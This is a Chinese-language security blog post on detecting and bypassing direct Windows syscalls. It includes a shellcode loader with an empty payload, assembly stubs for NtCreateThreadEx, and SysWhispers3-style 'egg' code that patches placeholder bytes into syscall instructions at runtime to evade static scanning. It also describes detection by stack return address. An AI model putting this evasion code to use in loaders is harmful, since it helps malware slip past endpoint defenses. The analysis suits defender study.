<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    syscall的檢測與繞過

    VSole2023-01-05 09:43:15

    普通調用

    #include 
    #include 
    int main()
    {
     unsigned char shellcode[] = "";
        void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
        memcpy(exec, shellcode, sizeof shellcode);
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, NULL);
        Sleep(1000);
        return 0;
    }
    

    此時的調用是非常明顯的,能看到Ntdll中NtCreateThread的調用。

    syscall調用

    #include 
    #include 
    EXTERN_C NTSTATUS NtCreateThreadEx
    (
     OUT PHANDLE hThread,
     IN ACCESS_MASK DesiredAccess,
     IN PVOID ObjectAttributes,
     IN HANDLE ProcessHandle,
     IN PVOID lpStartAddress,
     IN PVOID lpParameter,
     IN ULONG Flags,
     IN SIZE_T StackZeroBits,
     IN SIZE_T SizeOfStackCommit,
     IN SIZE_T SizeOfStackReserve,
     OUT PVOID lpBytesBuffer
    );
    int main()
    {
     HANDLE pHandle = NULL;
     HANDLE tHandle = NULL;
     unsigned char shellcode[] = "";
     void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
      PAGE_EXECUTE_READWRITE);
     memcpy(exec, shellcode, sizeof shellcode);
     HMODULE hModule = LoadLibrary(L"ntdll.dll");
     pHandle = GetCurrentProcess();
     NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE,
      NULL, NULL, NULL, NULL);
     Sleep(1000);
     CloseHandle(tHandle);
     CloseHandle(pHandle);
    }
    

    通過匯編直接NtCreateThreadEx在函數種通過syscall進入ring0

    .code
    NtCreateThreadEx proc
       mov r10,rcx
       mov eax,0C5h
       syscall
       ret
    NtCreateThreadEx endp
    end
    

    通過procmon進行監控

    此時直接通過我們的主程序進入ring0

    syscall的檢測與繞過

    ntdll中syscall被執行的格式大致

    mov r10, rcx
    mov eax, *syscall number*
    syscall
    ret
    

    我們可以通過檢測mov r10, rcx類似的代碼來確定程序是否直接進行系統調用。

    但是很容易被bypass

    mov r11,rcx
    mov r10,r11
    

    而且還可以寫出很多不一樣的寫法,顯然這個方式是不行的。很輕易就會被bypass。

    當然也可以檢測syscall指令,但是這個指令可以同int 2e中斷門進0環的方式繞過,也可以加一個int 2e的規則。

    objdump --disassemble -M intel "D:\C++ Project\bypass\syscall\x64\Release\syscall.exe" | findstr "syscall"
    

    syscall也可以不直接寫寫死在文件種,比如先用垃圾指令寫死在文件中,然后在運行的時候對這些垃圾指令進行修改重新為syscall,達到靜態繞過的效果。

    這也正是SysWhispers3為了規避檢測做的升級之一,稱為EGG的手段。

    可以像這樣編寫ntapi

    NtAllocateVirtualMemory PROC
      mov [rsp +8], rcx          ; Save registers.
      mov [rsp+16], rdx
      mov [rsp+24], r8
      mov [rsp+32], r9
      sub rsp, 28h
      mov ecx, 003970B07h        ; Load function hash into ECX.
      call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
      add rsp, 28h
      mov rcx, [rsp +8]          ; Restore registers.
      mov rdx, [rsp+16]
      mov r8, [rsp+24]
      mov r9, [rsp+32]
      mov r10, rcx
      DB 77h                     ; "w"
      DB 0h                      ; "0"
      DB 0h                      ; "0"
      DB 74h                     ; "t"
      DB 77h                     ; "w"
      DB 0h                      ; "0"
      DB 0h                      ; "0"
      DB 74h                     ; "t"
      ret
    NtAllocateVirtualMemory ENDP
    

    這個w00tw00t就是一個垃圾指令,我們將在執行的過程中重新替換為syscall

    DB 77h                     ; "w"
    DB 0h                      ; "0"
    DB 0h                      ; "0"
    DB 74h                     ; "t"
    DB 77h                     ; "w"
    DB 0h                      ; "0"
    DB 0h                      ; "0"
    DB 74h                     ; "t"
    

    更改指令代碼:

    #include 
    #include 
    #include 
    #include 
    #define DEBUG 0
    HMODULE GetMainModule(HANDLE);
    BOOL GetMainModuleInformation(PULONG64, PULONG64);
    void FindAndReplace(unsigned char[], unsigned char[]);
    HMODULE GetMainModule(HANDLE hProcess)
    {
        HMODULE mainModule = NULL;
        HMODULE* lphModule;
        LPBYTE lphModuleBytes;
        DWORD lpcbNeeded;
        // First call needed to know the space (bytes) required to store the modules' handles
        BOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded);
        // We already know that lpcbNeeded is always > 0
        if (!success || lpcbNeeded == 0)
        {
            printf("[-] Error enumerating process modules");
            // At this point, we already know we won't be able to dyncamically
            // place the syscall instruction, so we can exit
            exit(1);
        }
        // Once we got the number of bytes required to store all the handles for
        // the process' modules, we can allocate space for them
        lphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded);
        if (lphModuleBytes == NULL)
        {
            printf("[-] Error allocating memory to store process modules handles");
            exit(1);
        }
        unsigned int moduleCount;
        moduleCount = lpcbNeeded / sizeof(HMODULE);
        lphModule = (HMODULE*)lphModuleBytes;
        success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded);
        if (!success)
        {
            printf("[-] Error enumerating process modules");
            exit(1);
        }
        // Finally storing the main module
        mainModule = lphModule[0];
        // Avoid memory leak
        LocalFree(lphModuleBytes);
        // Return main module
        return mainModule;
    }
    BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length)
    {
        HANDLE hProcess = GetCurrentProcess();
        HMODULE hModule = GetMainModule(hProcess);
        MODULEINFO mi;
        GetModuleInformation(hProcess, hModule, &mi, sizeof(mi));
        printf("Base Address: 0x%llu", (ULONG64)mi.lpBaseOfDll);
        printf("Image Size:   %u", (ULONG)mi.SizeOfImage);
        printf("Entry Point:  0x%llu", (ULONG64)mi.EntryPoint);
        printf("");
        *startAddress = (ULONG64)mi.lpBaseOfDll;
        *length = (ULONG64)mi.SizeOfImage;
        DWORD oldProtect;
        VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect);
        return 0;
    }
    void FindAndReplace(unsigned char egg[], unsigned char replace[])
    {
        ULONG64 startAddress = 0;
        ULONG64 size = 0;
        GetMainModuleInformation(&startAddress, &size);
        if (size <= 0) {
            printf("[-] Error detecting main module size");
            exit(1);
        }
        ULONG64 currentOffset = 0;
        unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
        size_t nBytesRead;
        printf("Starting search from: 0x%llu", (ULONG64)startAddress + currentOffset);
        while (currentOffset < size - 8)
        {
            currentOffset++;
            LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
            if(DEBUG > 0){
                printf("Searching at 0x%llu", (ULONG64)currentAddress);
            }
            if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
                printf("[-] Error reading from memory");
                exit(1);
            }
            if (nBytesRead != 8) {
                printf("[-] Error reading from memory");
                continue;
            }
            if(DEBUG > 0){
                for (int i = 0; i < nBytesRead; i++){
                    printf("%02x ", current[i]);
                }
                printf("");
            }
            if (memcmp(egg, current, 8) == 0)
            {
                printf("Found at %llu", (ULONG64)currentAddress);
                WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
            }
        }
        printf("Ended search at:   0x%llu", (ULONG64)startAddress + currentOffset);
        free(current);
    }
    

    inceptor中可以直接調用函數達到替換syscall的作用

    int main(int argc, char** argv) {
        unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; // w00tw00t
        unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3
        //####SELF_TAMPERING####
        (egg, replace);
        Inject();
        return 0;
    }
    

    但是這樣依然很容易被檢測,原因是有了更加準確的檢測方式。

    那就是通過棧回溯。

    當你正常的程序使用系統調用的時候。

    此時你的流程是主程序模塊->kernel32.dll->ntdll.dll->syscall,這樣當0環執行結束返回3環的時候,這個返回地址應該是在ntdll所在的地址范圍之內。

    那么如果是你自己直接進行系統調用。

    此時當ring0返回的時候,rip將會是你的主程序模塊內,而并不是在ntdll所在的范圍內,這點是很容易被檢測也是比較準確的一種檢測方式。

    printfchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在二進制里面,每一位只要大于等于?則都要向高位進一。為了方便表示,還衍生出了二進制的子類,比如八進制,十六進制等,主要是二進制向這些進制轉換較為容易,而計算機平時又都處理二進制數據,因此就出現了這些常見的進制計數。信息存儲大多數計算機使用的都是8位的塊,或者叫字節,字節是作為計算機可尋址的最小單位。一般來說我們并不習慣于將一個字節寫成八位二進制的數,而是會寫成兩位十六進制的數。
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    一篇靜態免殺的文章
    斷更的這些年,我對驅動/ACPI/Bios有了更多的理解;又逢微軟/Intel助攻。2020年微軟泄露了部分WinXP源碼, Intel泄露了KabyLake設計文檔;最重要的,這個月淘寶幫我克服了最大的寫作障礙----我買到了二手的dynabook筆記本。鑒于以上原因,我打算重開一個新的系列,在不泄密的前提下,以鍵盤輸入為例,介紹從應用層到驅動層,再到Bios,最后到MCU的處理流程。文本編輯器/文本編輯框是應用層常見的鍵盤處理程序。
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    本文介紹如何利用可逆多項式和線性MBA表達式構造多項式MBA表達式,并用LLVM Pass實現一種簡單的多項式MBA混淆。MATH WARNING: 本文涉及少量抽象代數知識,基本上都是網安專業信安數學必修課中學到的內容。
    免殺知識匯總
    2021-08-25 23:11:00
    免殺知識匯總
    能運行的環境包括I/O,權限控制,系統調用,進程管理,內存管理等多項功能都可以歸結到上邊兩點中。需要注意的是,kernel 的crash 通常會引起重啟。注意大多數的現代操作系統只使用了 Ring 0 和 Ring 3。
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类